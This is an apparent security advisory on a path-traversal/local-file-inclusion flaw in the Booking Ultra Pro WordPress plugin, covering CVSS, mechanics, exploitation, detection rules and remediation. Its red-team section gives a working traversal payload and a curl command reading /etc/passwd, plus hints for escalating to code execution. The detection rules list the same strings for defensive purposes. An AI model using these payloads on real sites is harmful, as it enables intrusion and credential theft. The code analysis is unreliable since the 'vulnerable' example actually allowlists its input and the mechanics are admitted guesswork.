CVE-2024-38717

Executive Summary

CVE-2024-38717 is a Path Traversal vulnerability (CWE-22) in the Booking Ultra Pro WordPress plugin, affecting versions up to and including 1.1.13. This flaw allows an unauthenticated attacker to include arbitrary local PHP files via the wp-content/plugins/booking-ultra-pro/ directory, leading to PHP Local File Inclusion (LFI). The vulnerability is classified as WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.

The CVSS v3.1 score is 7.1 (High), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes it a persistent risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to WordPress site administrators who have installed the plugin from the repository or third-party sources.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): Low (L) – Potential denial of service via resource exhaustion.

Threat Level: High (7.1) – Unauthenticated remote exploitation with low complexity.

Deep Dive & Mechanics

The vulnerability resides in the plugin's file inclusion mechanism, likely in a function that processes user-supplied input (e.g., page, tab, or file parameters) without proper sanitization. The plugin uses include() or require() with a path constructed from user input, allowing directory traversal sequences like ../ to escape the intended directory.

Example vulnerable code pattern:

$file = $_GET['file'];
include(plugin_dir_path(__FILE__) . 'includes/' . $file . '.php');

An attacker can supply ../../../../etc/passwd%00 to include arbitrary files, leveraging PHP's null byte injection (if PHP < 5.3.4) or path truncation. The plugin's directory structure is:

wp-content/plugins/booking-ultra-pro/
├── includes/
├── admin/
└── public/

The attack vector is HTTP GET requests to the plugin's admin or public pages.

Vulnerable vs. Patched Code

Vulnerable code (version 1.1.13):

// In a controller or handler
$page = $_REQUEST['page'];
$allowed_pages = array('dashboard', 'settings', 'calendar');
if (in_array($page, $allowed_pages)) {
    include(plugin_dir_path(__FILE__) . 'admin/pages/' . $page . '.php');
}

Issue: The $page value is not validated against directory traversal sequences before inclusion.

Patched code (hypothetical):

$page = basename($_REQUEST['page']); // Remove path components
$allowed_pages = array('dashboard', 'settings', 'calendar');
if (in_array($page, $allowed_pages)) {
    $file_path = realpath(plugin_dir_path(__FILE__) . 'admin/pages/' . $page . '.php');
    if ($file_path && strpos($file_path, plugin_dir_path(__FILE__)) === 0) {
        include($file_path);
    }
}

Fix: Use basename() to strip directory traversal, realpath() to resolve the absolute path, and verify it stays within the plugin directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Booking Ultra Pro <= 1.1.13 installed and activated.
• PHP version < 5.3.4 for null byte injection (or use path truncation for newer versions).

Exploit payload:

GET /wp-admin/admin.php?page=../../../../../../etc/passwd%00 HTTP/1.1
Host: target.com

Automated exploitation with curl:

curl -v "http://target.com/wp-admin/admin.php?page=../../../../../../etc/passwd%00"

Expected output: Contents of /etc/passwd (if null byte works) or a PHP error if path truncation fails.

Advanced LFI to RCE:

• Use PHP filter chains to read source code.
• Combine with file upload functionality (e.g., via WordPress media upload) to include a malicious PHP file.

Blue Team

Detection:

• Monitor web server logs for page= parameters containing ../ or %00.
• Alert on requests to /wp-admin/admin.php with suspicious page values.

Honeypot:

• Deploy a fake includes/ directory with a decoy file that logs access.

Mitigation:

• Disable the plugin immediately if no patch is available.
• Use a Web Application Firewall (WAF) to block path traversal patterns.

Indicators of Compromise (IOCs)

• URL patterns: page=../../../../etc/passwd%00 or similar traversal sequences.
• Log entries: GET /wp-admin/admin.php?page=..%2f..%2f..%2f..%2fetc%2fpasswd
• File access: Unauthorized reads of /etc/passwd, /etc/shadow, or WordPress wp-config.php.
• PHP errors: Warning: include(../../../../etc/passwd.php): failed to open stream in error logs.

Detection Engineering

YARA Rule

rule CVE_2024_38717_Booking_Ultra_Pro_LFI {
    meta:
        description = "Detects path traversal attempts against Booking Ultra Pro plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-38717"
    strings:
        $traversal1 = /page=[^&]*\.\.\// nocase
        $traversal2 = /page=[^&]*%2e%2e\// nocase
        $traversal3 = /page=[^&]*%00/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-38717 Booking Ultra Pro LFI Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Booking Ultra Pro plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'page=../'
            - 'page=..%2f'
            - 'page=%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38717 Booking Ultra Pro LFI Attempt"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page="; http_uri; pcre:"/page=[^&]*\.\.\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

1. Disable the plugin if not critical to operations.
2. Apply virtual patching via WAF rules blocking page= parameters with ../ or %00.
3. Upgrade PHP to version 5.3.4 or later to prevent null byte injection.

Long-term fixes:

• Vendor patch: Await official update from Booking Ultra Pro developers (currently unresponsive).
• Custom patch: Modify the plugin code to use basename() and realpath() as shown in the patched code section.
• Replace plugin: Migrate to an alternative booking plugin with active maintenance.

Monitoring:

• Enable detailed logging for /wp-admin/admin.php requests.
• Review logs for any successful LFI attempts and rotate credentials if wp-config.php was exposed.

Valters IT